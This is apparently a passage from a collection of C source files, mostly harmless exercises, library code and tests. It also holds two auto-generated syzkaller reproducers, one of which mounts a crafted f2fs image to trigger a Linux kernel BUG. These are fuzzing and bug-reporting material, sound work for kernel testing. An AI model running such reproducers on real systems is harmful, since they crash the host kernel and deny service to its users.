__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
for (call = 0; call < 6; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 45);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
reset_test();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_call(int call)
{
long res;
switch (call) {
case 0:
syscall(__NR_setfsuid, 0);
break;
case 1:
memcpy((void*)0x20000400, "/selinux/status\000", 16);
res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000400, 0, 0);
if (res != -1)
r[0] = res;
break;
case 2:
syscall(__NR_getsockopt, r[0], 6, 0x23, 0, 0);
break;
case 3:
memcpy((void*)0x200000c0, "stack\000", 6);
res = syz_open_procfs(0, 0x200000c0);
if (res != -1)
r[1] = res;
break;
case 4:
syscall(__NR_pipe, 0x20000200);
break;
case 5:
*(uint64_t*)0x20000240 = 0x20000000;
*(uint64_t*)0x20000248 = 0xb3;
syscall(__NR_preadv, r[1], 0x20000240, 1, 0x3c);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
loop();
return 0;
}
|
the_stack_data/30919.c | #include <stdio.h>
#include <stdlib.h>
int main (int argc, char** argv){
int x = 10;
int * y = & x;
printf("\n%i", x);
printf("\n%p", &x);
printf("\n%p", y);
printf("\n%p", &y);
printf("\n%i", *y);
printf("\n");
}
|
the_stack_data/125140283.c | /* $OpenBSD: strtonum.c,v 1.8 2015/09/13 08:31:48 guenther Exp $ */
/*
* Copyright (c) 2004 Ted Unangst and Todd Miller
* All rights reserved.
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <errno.h>
#include <limits.h>
#include <stdlib.h>
#define INVALID 1
#define TOOSMALL 2
#define TOOLARGE 3
long long
strtonum(const char *numstr, long long minval, long long maxval,
const char **errstrp)
{
long long ll = 0;
int error = 0;
char *ep;
struct errval {
const char *errstr;
int err;
} ev[4] = {
{ NULL, 0 },
{ "invalid", EINVAL },
{ "too small", ERANGE },
{ "too large", ERANGE },
};
ev[0].err = errno;
errno = 0;
if (minval > maxval) {
error = INVALID;
} else {
ll = strtoll(numstr, &ep, 10);
if (numstr == ep || *ep != '\0')
error = INVALID;
else if ((ll == LLONG_MIN && errno == ERANGE) || ll < minval)
error = TOOSMALL;
else if ((ll == LLONG_MAX && errno == ERANGE) || ll > maxval)
error = TOOLARGE;
}
if (errstrp != NULL)
*errstrp = ev[error].errstr;
errno = ev[error].err;
if (error)
ll = 0;
return (ll);
}
|
the_stack_data/151562.c | // kernel BUG at fs/f2fs/checkpoint.c:LINE!
// https://syzkaller.appspot.com/bug?id=12dd46421e9fd572ebf3
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/loop.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct fs_image_segment {
void* data;
uintptr_t size;
uintptr_t offset;
};
#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)
#define sys_memfd_create 319
static unsigned long fs_image_segment_check(unsigned long size,
unsigned long nsegs,
struct fs_image_segment* segs)
{
if (nsegs > IMAGE_MAX_SEGMENTS)
nsegs = IMAGE_MAX_SEGMENTS;
for (size_t i = 0; i < nsegs; i++) {
if (segs[i].size > IMAGE_MAX_SIZE)
segs[i].size = IMAGE_MAX_SIZE;
segs[i].offset %= IMAGE_MAX_SIZE;
if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
if (size < segs[i].offset + segs[i].offset)
size = segs[i].offset + segs[i].offset;
}
if (size > IMAGE_MAX_SIZE)
size = IMAGE_MAX_SIZE;
return size;
}
static int setup_loop_device(long unsigned size, long unsigned nsegs,
struct fs_image_segment* segs,
const char* loopname, int* memfd_p, int* loopfd_p)
{
int err = 0, loopfd = -1;
size = fs_image_segment_check(size, nsegs, segs);
int memfd = syscall(sys_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (ftruncate(memfd, size)) {
err = errno;
goto error_close_memfd;
}
for (size_t i = 0; i < nsegs; i++) {
if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
}
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
*memfd_p = memfd;
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile unsigned long size,
volatile unsigned long nsegs,
volatile long segments, volatile long flags,
volatile long optsarg)
{
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1)
return -1;
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
}
error_clear_loop:
if (need_loop_device) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
close(memfd);
}
errno = err;
return res;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
void execute_one(void)
{
memcpy((void*)0x20000000, "f2fs\000", 5);
memcpy((void*)0x20000100, "./file0\000", 8);
*(uint64_t*)0x20000200 = 0x20010500;
memcpy((void*)0x20010500,
"\x10\x20\xf5\xf2\x01\x00\x0b\x00\x09\x00\x00\x00\x03\x00\x00\x00\x0c"
"\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00"
"\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x1f\x00\x00"
"\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00"
"\x18\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00"
"\x0a\x00\x00\x00\x0e\x00\x00\x00\x10\x00\x00\x03\x00\x00\x00\x01\x00"
"\x00\x00\x02",
105);
*(uint64_t*)0x20000208 = 0x69;
*(uint64_t*)0x20000210 = 0x1400;
*(uint64_t*)0x20000218 = 0x20010a00;
memcpy((void*)0x20010a00,
"\x43\x79\xd5\x27\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x02"
"\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x10\x00\x00\x00\x12\x00"
"\x00\x00\x17\x00\x00\x00\x16\x00\x00\x00\x15\x00\x00\x00\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14"
"\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\x01\x00\x00"
"\x06\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04"
"\x00\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\xfc\x0f",
166);
*(uint64_t*)0x20000220 = 0xa6;
*(uint64_t*)0x20000228 = 0x200000;
*(uint64_t*)0x20000230 = 0x20010b00;
memcpy((void*)0x20010b00, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x29\x64\x03\x9d",
32);
*(uint64_t*)0x20000238 = 0x20;
*(uint64_t*)0x20000240 = 0x200fe0;
*(uint64_t*)0x20000248 = 0x20010c00;
memcpy((void*)0x20010c00, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x06\x00\x17\x00\x00\x00\x01\x0c\x80",
36);
*(uint64_t*)0x20000250 = 0x24;
*(uint64_t*)0x20000258 = 0x2011e0;
*(uint64_t*)0x20000260 = 0x20011600;
memcpy((void*)0x20011600,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x43\x79"
"\xd5\x27\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x10\x00\x00\x00\x12\x00\x00\x00"
"\x17\x00\x00\x00\x16\x00\x00\x00\x15\x00\x00\x00\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00"
"\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\x01\x00\x00\x06\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00"
"\x00\x40\x00\x00\x00\x40\x00\x00\x00\xfc\x0f",
198);
*(uint64_t*)0x20000268 = 0xc6;
*(uint64_t*)0x20000270 = 0x204fe0;
*(uint64_t*)0x20000278 = 0x20011700;
memcpy((void*)0x20011700, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x29\x64\x03\x9d",
32);
*(uint64_t*)0x20000280 = 0x20;
*(uint64_t*)0x20000288 = 0x205fe0;
*(uint64_t*)0x20000290 = 0;
*(uint64_t*)0x20000298 = 0;
*(uint64_t*)0x200002a0 = 0x3ff000;
*(uint64_t*)0x200002a8 = 0;
*(uint64_t*)0x200002b0 = 0;
*(uint64_t*)0x200002b8 = 0x3ff042;
syz_mount_image(0x20000000, 0x20000100, 0, 8, 0x20000200, 0, 0x20012400);
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
loop();
return 0;
}
|
the_stack_data/531480.c | #include <stdio.h>
#include <math.h>
int main() {
double a, b, c, p, aCir, aTri, aCirG, rMenor, rMaior, aMaior, aMenor;
while(scanf("%lf %lf %lf", &a, &b, &c) != EOF){
p = (a+b+c)/2;
aTri = sqrt(p*(p-a)*(p-b)*(p-c));
rMenor = (aTri/(p));
rMaior = (a*b*c)/(aTri*4);
aMaior = M_PI*rMaior*rMaior;
aMenor = M_PI*rMenor*rMenor;
aMaior = aMaior-aTri;
aTri = aTri - aMenor;
printf("%.4lf %.4lf %.4lf\n", aMaior, aTri, aMenor);
}
return 0;
} |
the_stack_data/18887414.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, L. Sekanina, Z. Vasicek "Libraries of Approximate Circuits: Automated Design and Application in CNN Accelerators" IEEE Journal on Emerging and Selected Topics in Circuits and Systems, Vol 10, No 4, 2020
* This file contains a circuit from a sub-set of pareto optimal circuits with respect to the pwr and ep parameters
***/
// MAE% = 0.74 %
// MAE = 3.8
// WCE% = 3.71 %
// WCE = 19
// WCRE% = 50.00 %
// EP% = 57.81 %
// MRE% = 1.89 %
// MSE = 46
// PDK45_PWR = 0.019 mW
// PDK45_AREA = 56.8 um2
// PDK45_DELAY = 0.31 ns
#include <stdint.h>
#include <stdlib.h>
uint64_t add8u_8FF(uint64_t a, uint64_t b) {
int wa[8];
int wb[8];
uint64_t y = 0;
wa[0] = (a >> 0) & 0x01;
wb[0] = (b >> 0) & 0x01;
wa[1] = (a >> 1) & 0x01;
wb[1] = (b >> 1) & 0x01;
wa[2] = (a >> 2) & 0x01;
wb[2] = (b >> 2) & 0x01;
wa[3] = (a >> 3) & 0x01;
wb[3] = (b >> 3) & 0x01;
wa[4] = (a >> 4) & 0x01;
wb[4] = (b >> 4) & 0x01;
wa[5] = (a >> 5) & 0x01;
wb[5] = (b >> 5) & 0x01;
wa[6] = (a >> 6) & 0x01;
wb[6] = (b >> 6) & 0x01;
wa[7] = (a >> 7) & 0x01;
wb[7] = (b >> 7) & 0x01;
int sig_18 = wb[2] ^ wa[2];
int sig_20 = wb[0] | wa[0];
int sig_24 = wa[2] & wb[2];
int sig_25 = wb[1] | wa[1];
int sig_27 = sig_24;
int sig_28 = wa[3] ^ wb[3];
int sig_29 = wa[3] & wb[3];
int sig_31 = sig_28 | sig_27;
int sig_32 = sig_29;
int sig_33 = wa[4] ^ wb[4];
int sig_34 = wa[4] & wb[4];
int sig_36 = sig_33 | sig_32;
int sig_37 = sig_34;
int sig_38 = wa[5] ^ wb[5];
int sig_39 = wa[5] & wb[5];
int sig_40 = sig_38 & sig_37;
int sig_41 = sig_38 ^ sig_37;
int sig_42 = sig_39 | sig_40;
int sig_43 = wa[6] ^ wb[6];
int sig_44 = wa[6] & wb[6];
int sig_45 = sig_43 & sig_42;
int sig_46 = sig_43 ^ sig_42;
int sig_47 = sig_44 | sig_45;
int sig_48 = wa[7] ^ wb[7];
int sig_49 = wa[7] & wb[7];
int sig_50 = sig_48 & sig_47;
int sig_51 = sig_48 ^ sig_47;
int sig_52 = sig_49 | sig_50;
y |= (sig_20 & 0x01) << 0; // default output
y |= (sig_25 & 0x01) << 1; // default output
y |= (sig_18 & 0x01) << 2; // default output
y |= (sig_31 & 0x01) << 3; // default output
y |= (sig_36 & 0x01) << 4; // default output
y |= (sig_41 & 0x01) << 5; // default output
y |= (sig_46 & 0x01) << 6; // default output
y |= (sig_51 & 0x01) << 7; // default output
y |= (sig_52 & 0x01) << 8; // default output
return y;
}
|
the_stack_data/215769624.c | #include<stdio.h>/*あらかじめ用意されているC言語の入出力関係の機能（ライブラリ）を「使いますよ」という宣言をしています。*/
int main(void)/*C言語のプログラムでは「int main(void)」から実行が始まります*/
{/*「main(void){」で始まり「}」で終わります*/
int counter;
for(counter=0;counter<20;counter=counter+2){
printf("%d\n",counter);
}
return 0;/*プログラムを終了する命令です*/
}/*「main(void){」で始まり「}」で終わります*/
|
the_stack_data/12638938.c | #include<stdio.h>
int main(void) {
int num1, num2;
scanf("%d%d", &num1, &num2);
printf("%d%% \n", num1/num2);
} |
the_stack_data/153831.c | #include <stdio.h>
#include <string.h>
/*Creamos una union*/
union mensajesUnion
{
char bienvenida[25];
char nombre[25];
} saludoUnion;
/*Creamos una estructura*/
struct mensajesStrc
{
char bienvenida[25];
char nombre[25];
}saludoStruct;
int main(){
/*/////////////////UNION////////////////////////*/
/* Las uniones usan el mismo espacio de memoria para todos los elementos
* de la union, toma el tamaño del elemento de mayor tamaño, en este caso 25 bytes.
* Los elementos dentro de la union comparten esos 25 bytes.
*/
/*Copiamos cadenas*/
strcpy(saludoUnion.bienvenida, "Hola");
strcpy(saludoUnion.nombre, "Juan");
printf("\nUnion: ");
/*Imprimimos mensajes de union*/
printf("\n1.- %s", saludoUnion.bienvenida);
printf("\n2.- %s", saludoUnion.nombre);
/*/////////////////STRUCT////////////////////////*/
/* En la estructura se reservan 75 bytes de memoria en total,
* en este caso cada uno es independiente en memoria,
* se puede inicializar cada uno o usar como un campo independiente.
*/
/*Copiamos cadenas*/
strcpy(saludoStruct.bienvenida, "Hi");
strcpy(saludoStruct.nombre, "Jhon\n");
printf("\nStruct: ");
/*Imprimimos mensajes de union*/
printf("\n1.- %s", saludoStruct.bienvenida);
printf("\n2.- %s", saludoStruct.nombre);
return 0;
}
|
the_stack_data/89200147.c | //
// main.c
// AoC
//
// Created by Matteo Negro on 06/12/20.
//
//piccola modifica al File metto un a capo a fine File
#include <stdio.h>
#include <string.h>
#define NOMEFILE "/Users/matteoblack/Desktop/AoC/AoC_6/AoC/AoC/input.c"
#define DIM 100 //0-25 lettere + \0
//Funz DAY6_1,
long int DAY6_1(void);
//Funz DAY6_2,
long int DAY6_2(void);
int main() {
long int result;
result = DAY6_2();
printf("\nIl risultato è: %ld\n", result);
return 0;
}
long int DAY6_1(){
char campioni[DIM];
char charLet;
long int sum;
int valid;
int c;
int i;
FILE* pFile;
pFile = fopen(NOMEFILE, "r");
if(pFile==NULL) printf("Errore");
sum = 0;
valid = 0;
c = 0;
while(fscanf(pFile, "%c", &charLet)!=EOF){
if(charLet=='\n'){
valid++;
}else{
i = 0;
if(c==0){
campioni[c] = charLet;
campioni[c+1] = '\0';
}else{
while((campioni[i]!='\0')&&(charLet!=campioni[i])){
i++;
}
if(campioni[i]=='\0'){
campioni[i] = charLet;
campioni[i+1] = '\0';
}
}
valid = 0;
c++;
}
if(valid == 2){
sum = sum + strlen(campioni);
c = 0;
campioni[c] = '\0';
valid = 0;
}
}
sum = sum + strlen(campioni);
return sum;
}
long int DAY6_2(){
char campioni[DIM];
char temp[DIM];
char charLet;
long int sum;
int valid;
int first;
int control;
int c;
int i;
int j;
FILE* pFile;
pFile = fopen(NOMEFILE, "r");
sum = 0;
valid = 0;
c = 0;
first = 1;
campioni[0] = '\0';
while(fscanf(pFile, "%c", &charLet)!=EOF){
if(charLet=='\n'){
i = 0;
if(first==1){
while(temp[i]!='\0'){
campioni[i] = temp[i];
i++;
}
campioni[i] = '\0';
}else{
while((valid==0)&&(campioni[i]!='\0')){
j = 0;
control = 0;
while(temp[j]!='\0'){
if(campioni[i]==temp[j]){
control = 1;
}
j++;
}
if(control==0){
j = i;
while(campioni[j]!='\0'){
campioni[j] = campioni[j+1];
j++;
}
i--;
}
i++;
}
}
temp[0] = '\0';
first = 0;
valid++;
}else{
i = 0;
if(c==0){
temp[c] = charLet;
temp[c+1] = '\0';
}else{
while((temp[i]!='\0')&&(charLet!=temp[i])){
i++;
}
if(temp[i]=='\0'){
temp[i] = charLet;
temp[i+1] = '\0';
}
}
valid = 0;
c++;
}
if(valid == 2){
sum = sum + strlen(campioni);
c = 0;
campioni[c] = '\0';
valid = 0;
first = 1;
}
}
sum = sum + strlen(campioni);
return sum;
}
|
the_stack_data/34513031.c | #include <stdio.h>
#include <stdlib.h>
#define ANSI_GREEN "\x1b[32m"
#define ANSI_RESET "\x1b[0m"
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <dirent.h>
#include <math.h>
char* sizes[5] = {"B","KB","MB","GB","TB"};
int dir_size(char *path)
{
int dirsize = 0;
DIR *dir = opendir(path);
if (dir == NULL)
printf("Error: %s\n", strerror(errno));
struct dirent *dirdata;
struct stat filedata;
while (dirdata = readdir(dir)) {
//file's actual path
char filepath[256];
strcpy(filepath, path);
if (filepath[strlen(filepath) - 2] != '/')
strcat(filepath, "/");
strcat(filepath, dirdata->d_name);
//if file is a directory
if (dirdata->d_type == DT_DIR) {
if (strcmp(dirdata->d_name, ".")) {
if (strcmp(dirdata->d_name, ".."))
dirsize += dir_size(filepath);
}
} else {
stat(filepath, &filedata);
dirsize += (int) (filedata.st_size);
}
}
return dirsize;
}
void list_dir(char *path)
{
DIR *dir = opendir(path);
struct dirent *dirdata;
while (dirdata = readdir(dir)) {
//file's actual path
char filepath[256];
strcpy(filepath, path);
if (filepath[strlen(filepath) - 2] != '/')
strcat(filepath, "/");
strcat(filepath, dirdata->d_name);
//if file is a directory
if (dirdata->d_type == DT_DIR) {
if (strcmp(dirdata->d_name, ".")) {
if (strcmp(dirdata->d_name, "..")) {
printf("\t%s%s%s\n", ANSI_GREEN, filepath, ANSI_RESET);
list_dir(filepath);
}
}
}
}
}
void file_dir(char *path,char *basepath)
{
DIR *dir = opendir(path);
struct dirent *dirdata;
struct stat filedata;
while (dirdata = readdir(dir)) {
//file's actual path
char filepath[256];
strcpy(filepath, path);
if (filepath[strlen(filepath) - 2] != '/')
strcat(filepath, "/");
strcat(filepath, dirdata->d_name);
//if file is a directory
if (dirdata->d_type == DT_DIR) {
if (strcmp(dirdata->d_name, ".")) {
if (strcmp(dirdata->d_name, ".."))
file_dir(filepath,basepath);
}
} else {
stat(filepath, &filedata);
char size[15];
int dare = log(filedata.st_size)/log(1024);
char loc = 0;
while(basepath[loc]!=path[loc]&&path[loc]!=0) loc++;
char permstr[10];
permstr[9] = 0;
for(int i = 0;i<3;i++){
if((int)pow(2,8-i*3)&(int)filedata.st_mode) permstr[i*3] = 'r';
else permstr[i*3] = '-';
if((int)pow(2,8-i*3-1)&(int)filedata.st_mode) permstr[i*3+1] = 'w';
else permstr[i*3+1] = '-';
if((int)pow(2,8-i*3-2)&(int)filedata.st_mode) permstr[i*3+2] = 'x';
else permstr[i*3+2] = '-';
}
printf("\t%s/%s %.1f%s %s\n",path+loc,dirdata->d_name, filedata.st_size/pow(1024,dare),sizes[dare],permstr);
}
}
}
int main(int argc, char *argv[])
{
/********** get directory path ***********/
char dirname[256];
if (argc == 1) {
printf("Specify directory: ");
scanf("%s", dirname);
} else
strcpy(dirname, argv[1]);
int dirsize = dir_size(dirname);
printf("\nTotal Directory Size: %d bytes/%lf KB\n", dirsize, dirsize / 1024.);
printf("\nDirectories:\n");
printf("\t%s.%s\n", ANSI_GREEN, ANSI_RESET);
printf("\t%s..%s\n", ANSI_GREEN, ANSI_RESET);
list_dir(dirname);
printf("Regular files:\n");
file_dir(dirname,dirname);
return 0;
}
|
the_stack_data/901614.c |
void wt1(float a[], unsigned long n, int isign,
void (*wtstep)(float [], unsigned long, int))
{
unsigned long nn;
if (n < 4) return;
if (isign >= 0) {
for (nn=n;nn>=4;nn>>=1) (*wtstep)(a,nn,isign);
} else {
for (nn=4;nn<=n;nn<<=1) (*wtstep)(a,nn,isign);
}
}
|
the_stack_data/193892804.c | // RUN: %clang -target s390x-linux-gnu -fstack-clash-protection -### %s 2>&1 | FileCheck %s -check-prefix=SystemZ
// SystemZ: "-fstack-clash-protection"
// RUN: %clang -target s390x-linux-gnu -fstack-clash-protection -S -emit-llvm -o %t.ll %s 2>&1 | FileCheck %s -check-prefix=SystemZ-warn
// SystemZ-warn: warning: Unable to protect inline asm that clobbers stack pointer against stack clash
int foo(int c) {
int r;
__asm__("ag %%r15, %0"
:
: "rm"(c)
: "r15");
return r;
}
|
the_stack_data/14084.c | #include <stdio.h>
int main() {
int i;
int buffer;
i += 72;
i += buffer;
i += 101;
i += buffer;
i += 108;
i += buffer;
i += 108;
i += buffer;
i += 111;
i += buffer;
i += 32;
i += buffer;
i += 119;
i += buffer;
i += 111;
i += buffer;
i += 114;
i += buffer;
i += 108;
i += buffer;
i += 100;
i += buffer;
i += 10;
i += buffer;
}
|
the_stack_data/192331353.c | #include<unistd.h>
#include<stdio.h>
#include<fcntl.h>
#include<errno.h>
#include<stdlib.h>
#include<sys/types.h>
#define REQUIRED_ARG_COUNT 3
#define FN 81614
int main(int argc, char*argv[])
{
if(argc< REQUIRED_ARG_COUNT +1)
exit(EXIT_FAILURE);
long blank_space = atol(argv[1]);
int fd1 = open(argv[2],O_RDONLY);
if(fd1 == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
int fd2 = open(argv[3],O_WRONLY);
if(fd2 == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
if((lseek(fd2,blank_space + FN % 37 + 6, SEEK_END)) == -1)
{
perror("lseek");
exit(EXIT_FAILURE);
}
char buffer[BUFSIZ];
ssize_t read_count;
while((read_count = read(fd1,buffer,BUFSIZ))>0)
{
if(read_count == -1)
{
perror("read");
exit(EXIT_FAILURE);
}
if((write(fd2,buffer,read_count))== -1)
{
perror("write");
exit(EXIT_FAILURE);
}
}
exit(EXIT_SUCCESS);
}
|
the_stack_data/64199542.c |
int minimumSwap(char* s1, char* s2)
{
int x1 = 0, y1 = 0;
